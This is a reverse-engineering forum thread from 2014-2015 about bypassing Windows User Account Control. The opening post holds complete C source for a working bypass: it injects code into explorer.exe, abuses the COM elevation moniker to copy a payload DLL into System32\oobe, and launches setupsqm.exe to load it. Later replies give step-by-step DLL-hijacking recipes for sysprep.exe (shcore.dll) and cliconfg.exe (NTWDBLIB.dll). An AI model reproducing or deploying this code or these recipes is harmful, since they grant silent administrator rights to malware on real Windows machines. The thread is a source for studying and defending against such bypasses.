A forum for reverse engineering, OS internals and malware analysis 

Forum for announcements and questions about tools and software.
 #24757  by rinn
 Fri Dec 26, 2014 4:16 pm
Hello.

There is mine x64 reinvented wheel, not so awful like that copy-paste http://download.pureftpd.org/pub/misc/UAC.cpp
Code: Select all
#include <windows.h>
#include <shlobj.h>
#include "inject.h"

ELOAD_PARAMETERS	ElevParams;

#pragma optimize("", off)
void _xmemzero(void *p, SIZE_T s)
{
	SIZE_T	i;
			
	for (i = 0; i < s; i++)
		((char *)p)[i] = 0;
}
#pragma optimize("", on)

DWORD WINAPI ElavatedLoadProc(PELOAD_PARAMETERS elvpar)
{
	HRESULT				r;
	BOOL				cond = FALSE;
	IFileOperation		*FileOperation1 = NULL;
	IShellItem			*isrc = NULL, *idst = NULL;
	BIND_OPTS3			bop;
	SHELLEXECUTEINFOW	shexec;
	WCHAR				textbuf[MAX_PATH * 2], *p, *f, *f0;

	if (elvpar == NULL)
		return (DWORD)E_FAIL;

	r = elvpar->xCoInitialize(NULL);
	if ( r != S_OK )
		return r;

	_xmemzero(&bop, sizeof(bop));
	_xmemzero(&shexec, sizeof(shexec));

	do {
		r = elvpar->xCoCreateInstance(&elvpar->xCLSID_FileOperation, NULL, CLSCTX_INPROC_SERVER | CLSCTX_LOCAL_SERVER | CLSCTX_INPROC_HANDLER, &elvpar->xIID_IFileOperation, &FileOperation1);
		if (r != S_OK)
			break;
		if (FileOperation1 != NULL)
			FileOperation1->lpVtbl->Release(FileOperation1);

		bop.cbStruct = sizeof(bop);
		bop.dwClassContext = CLSCTX_INPROC_SERVER | CLSCTX_LOCAL_SERVER | CLSCTX_INPROC_HANDLER;
		r = elvpar->xCoGetObject(elvpar->EleMoniker, &bop, &elvpar->xIID_IFileOperation, &FileOperation1);
		if (r != S_OK)
			break;
		if (FileOperation1 == NULL) {
			r = E_FAIL;
			break;
		}

		FileOperation1->lpVtbl->SetOperationFlags(FileOperation1, FOF_NOCONFIRMATION | FOF_SILENT | FOFX_SHOWELEVATIONPROMPT | FOFX_NOCOPYHOOKS | FOFX_REQUIREELEVATION);

		r = elvpar->xSHCreateItemFromParsingName(elvpar->SourceFilePathAndName, NULL, &elvpar->xIID_IShellItem, &isrc);
		if (r != S_OK)
			break;
		r = elvpar->xSHCreateItemFromParsingName(elvpar->DestinationDir, NULL, &elvpar->xIID_IShellItem, &idst);
		if (r != S_OK)
			break;

		r = FileOperation1->lpVtbl->MoveItem(FileOperation1, isrc, idst, NULL, NULL);
		if (r != S_OK)
			break;
		r = FileOperation1->lpVtbl->PerformOperations(FileOperation1);
		if (r != S_OK)
			break;
		idst->lpVtbl->Release(idst);
		idst = NULL;
		isrc->lpVtbl->Release(isrc);
		isrc = NULL;

		shexec.cbSize = sizeof(shexec);
		shexec.fMask = SEE_MASK_NOCLOSEPROCESS;
		shexec.nShow = SW_SHOW;
		shexec.lpFile = elvpar->ExePathAndName;
		shexec.lpParameters = NULL;
		shexec.lpDirectory = elvpar->DestinationDir;
		if (elvpar->xShellExecuteExW(&shexec))
			if (shexec.hProcess != NULL) {
				elvpar->xWaitForSingleObject(shexec.hProcess, INFINITE);
				elvpar->xCloseHandle(shexec.hProcess);
			}

		f0 = textbuf;
		p = (WCHAR *)elvpar->DestinationDir;
		while (*p != (WCHAR)0) {
			*f0 = *p;
			f0++;
			p++;
		}
		*f0 = 0;

		f = (WCHAR *)elvpar->SourceFilePathAndName;
		p = f;
		while (*f != (WCHAR)0) {
			if (*f == (WCHAR)'\\')
				p = (WCHAR *)f + 1;
			f++;
		}

		while (*p != (WCHAR)0) {
			*f0 = *p;
			f0++;
			p++;
		}
		*f0 = 0;

		r = elvpar->xSHCreateItemFromParsingName(textbuf, NULL, &elvpar->xIID_IShellItem, &idst);
		if (r != S_OK)
			break;
		r = FileOperation1->lpVtbl->DeleteItem(FileOperation1, idst, NULL);
		if (r != S_OK)
			break;
		FileOperation1->lpVtbl->PerformOperations(FileOperation1);
	} while (cond);

	if ( FileOperation1 != NULL )
		FileOperation1->lpVtbl->Release(FileOperation1);
	if (isrc != NULL)
		isrc->lpVtbl->Release(isrc);
	if (idst != NULL)
		idst->lpVtbl->Release(idst);

	elvpar->xCoUninitialize();

	return r;
}

HANDLE GetExplorerHandle()
{
	HWND	hTrayWnd = NULL;
	DWORD	dwProcessId = 0;

	hTrayWnd = FindWindow(TEXT("Shell_TrayWnd"), NULL);
	if (hTrayWnd == NULL)
		return NULL;

	GetWindowThreadProcessId(hTrayWnd, &dwProcessId);
	if (dwProcessId == 0)
		return NULL;

	return OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwProcessId);
}

void main()
{
	HANDLE						expl;
	HINSTANCE					selfmodule = GetModuleHandle(NULL);
	HINSTANCE					hKrnl = GetModuleHandle(TEXT("kernel32.dll")), hOle32 = LoadLibrary(TEXT("ole32.dll")), hShell32 = LoadLibrary(TEXT("shell32.dll"));
	PIMAGE_DOS_HEADER			pdosh = (PIMAGE_DOS_HEADER)selfmodule;
	PIMAGE_FILE_HEADER			fh = (PIMAGE_FILE_HEADER)((char *)pdosh + pdosh->e_lfanew + sizeof(DWORD));
	PIMAGE_OPTIONAL_HEADER		opth = (PIMAGE_OPTIONAL_HEADER)((char *)fh + sizeof(IMAGE_FILE_HEADER));
	LPVOID						remotebuffer = NULL, newEp, newDp;
	SIZE_T						wr = 0;
	DWORD						c;
	BOOL						cond = FALSE;

	lstrcpyW(ElevParams.SourceFilePathAndName, L"C:\\TEMP\\wdscore.dll");
	lstrcpyW(ElevParams.DestinationDir, L"C:\\Windows\\System32\\oobe\\");
	lstrcpyW(ElevParams.ExePathAndName, L"C:\\Windows\\System32\\oobe\\setupsqm.exe");
	lstrcpyW(ElevParams.EleMoniker, L"Elevation:Administrator!new:{3ad05575-8857-4850-9277-11b85bdb8e09}");

	ElevParams.xIID_IFileOperation = IID_IFileOperation;
	ElevParams.xIID_IShellItem = IID_IShellItem;
	ElevParams.xCLSID_FileOperation = CLSID_FileOperation;

	ElevParams.xCoInitialize = (pfnCoInitialize)GetProcAddress(hOle32, "CoInitialize");
	ElevParams.xCoCreateInstance = (pfnCoCreateInstance)GetProcAddress(hOle32, "CoCreateInstance");
	ElevParams.xCoGetObject = (pfnCoGetObject)GetProcAddress(hOle32, "CoGetObject");
	ElevParams.xCoUninitialize = (pfnCoUninitialize)GetProcAddress(hOle32, "CoUninitialize");
	ElevParams.xSHCreateItemFromParsingName = (pfnSHCreateItemFromParsingName)GetProcAddress(hShell32, "SHCreateItemFromParsingName");
	ElevParams.xShellExecuteExW = (pfnShellExecuteExW)GetProcAddress(hShell32, "ShellExecuteExW");
	ElevParams.xWaitForSingleObject = (pfnWaitForSingleObject)GetProcAddress(hKrnl, "WaitForSingleObject");
	ElevParams.xCloseHandle = (pfnCloseHandle)GetProcAddress(hKrnl, "CloseHandle");

	expl = GetExplorerHandle();
	if (expl == NULL)
		return;

	do {
		remotebuffer = VirtualAllocEx(expl, NULL, opth->SizeOfImage, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
		if (remotebuffer == NULL)
			break;

		if (!WriteProcessMemory(expl, remotebuffer, selfmodule, opth->SizeOfImage, &wr))
			break;

		newEp = (char *)remotebuffer + ((char *)&ElavatedLoadProc - (char *)selfmodule);
		newDp = (char *)remotebuffer + ((char *)&ElevParams - (char *)selfmodule);

		CreateRemoteThread(expl, NULL, 0, newEp, newDp, 0, &c);
	} while (cond);

	CloseHandle(expl);
	ExitProcess(0);
}
EP_X0FF wrote:Main idea comes from http://download.pureftpd.org/pub/misc/UAC.cpp copyrighted copy-paste work made by well known <color>hat (currently) Peter Kleissner. His main addition to the original Leo Davidson work was adding ridiculous comments in the code, for example this
This was reported to Microsoft multiple times (months ago) and they are too lame to fix injection to explorer.exe.
I've followed the responsible disclosure guidelines, no need to get angry on me. TDL4 is using the bypass for 64-bit already.
(Wow, wow take it easy, explorer injection wow, reported to Microsoft, wow, they are too lame lol, no need to get angry on me <- OK Also I like this part when he looks for explorer.exe
:D

Best Regards,
-rin
 #24758  by EP_X0FF
 Fri Dec 26, 2014 4:38 pm
/offtopic

@rinn

I have not yet shown you his bootkit (dated back 2011, seems ESET was interested in it) - it is all full of such awful shit. Las Vegas anyone? ;)
 #24767  by kmd
 Tue Dec 30, 2014 2:44 pm
was playing around activation contexts and manifest cache, so there is no way to get sysprep tricks work on win8.1+ with above manifest fix they did?
 #24768  by EP_X0FF
 Tue Dec 30, 2014 3:08 pm
kmd wrote:was playing around activation contexts and manifest cache, so there is no way to get sysprep tricks work on win8.1+ with above manifest fix they did?
There is the way, because surprise-surprise to Microsoft dummies (who now are responsible for Windows development) there exist such old technology known as "Delay Load". Sysprep.exe is vulnerable to it no matter what declared in manifest. As a particular case you need dwmapi loaded (always enabled on clients and disabled on server version, so just check "Animate controls and elements inside windows" in the Windows graphical interface settings if you use server version and wanna try). This will force one of the delay loaded dlls "shcore.dll" to be loaded as dependencies in the sysprep.exe address space. Just rename your payload dll from "cryptbase.dll" or whatever you use to "shcore.dll" and that's all. Quite ridiculous don't you think? How much money they invented in fixing of sysprep to fail such miserable :) More to say, there not only one such dll can be abused in the same way - just carefully examine loading logs from autoelevated executables and you will find number of other possibilities. UAC on Windows is not security feature however why it have a damn shield?
 #24769  by kidscracker
 Tue Dec 30, 2014 3:30 pm
EP_X0FF wrote:
kmd wrote:was playing around activation contexts and manifest cache, so there is no way to get sysprep tricks work on win8.1+ with above manifest fix they did?
There is the way, because surprise-surprise to Microsoft dummies (who now are responsible for Windows development) there exist such old technology known as "Delay Load". Sysprep.exe is vulnerable to it no matter what declared in manifest. As a particular case you need dwmapi loaded (always enabled on clients and disabled on server version, so just check "Animate controls and elements inside windows" in the Windows graphical interface settings if you use server version and wanna try). This will force one of the delay loaded dlls "shcore.dll" to be loaded as dependencies in the sysprep.exe address space. Just rename your payload dll from "cryptbase.dll" or whatever you use to "shcore.dll" and that's all. Quite ridiculous don't you think? How much money they invented in fixing of sysprep to fail such miserable :) More to say, there not only one such dll can be abused in the same way - just carefully examine loading logs from autoelevated executables and you will find number of other possibilities. UAC on Windows is not security feature however why it have a damn shield?
@EP_XOFF: That's true, even other binaries with auto-elevated enabled that will looks problematics to exploit because have GUI (I think Leo or Pitou mentions problems with them), but with small mods you can bypass those problems. "Delay Load" is another great method i was testing that give good results.

Just to add another method that is related to SHIMs is this one: https://code.google.com/p/google-securi ... ail?id=118 , you can add it to the list.
 #24771  by EP_X0FF
 Tue Dec 30, 2014 3:52 pm
kmd wrote:seems to work for 8.1 full patched, but not 10tp
As we told before - buy security fix each few years with each Vista re-release.

@kidscracker

Yes it looks promising :)
 #24879  by EP_X0FF
 Fri Jan 09, 2015 4:32 am
Another delay load UAC bypass method https://github.com/rapid7/metasploit-fr ... /pull/4553

If you dont want to download this 30+ mb garbage the delay load trick is for cliconfg.exe

With help of COM eleavtion from Leo Davidson work put your payload dll into systemroot\system32 folder under name NTWDBLIB.dll. Run cliconfg.exe next, cliconfg.dll will do LoadLibraryExW for your code.

Vulnerable systems - all from Windows 7 up to Windows 10 TP 9901.

Fix is obvious - put default NTWDBLIB.dll into Windows installation image.
Global fix is obvious too - create and use dll loading tests for your shitty autoelevation backdoor'ed executables during development cycle, but I guess playing with "Start" button 5 years is more fun.
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 14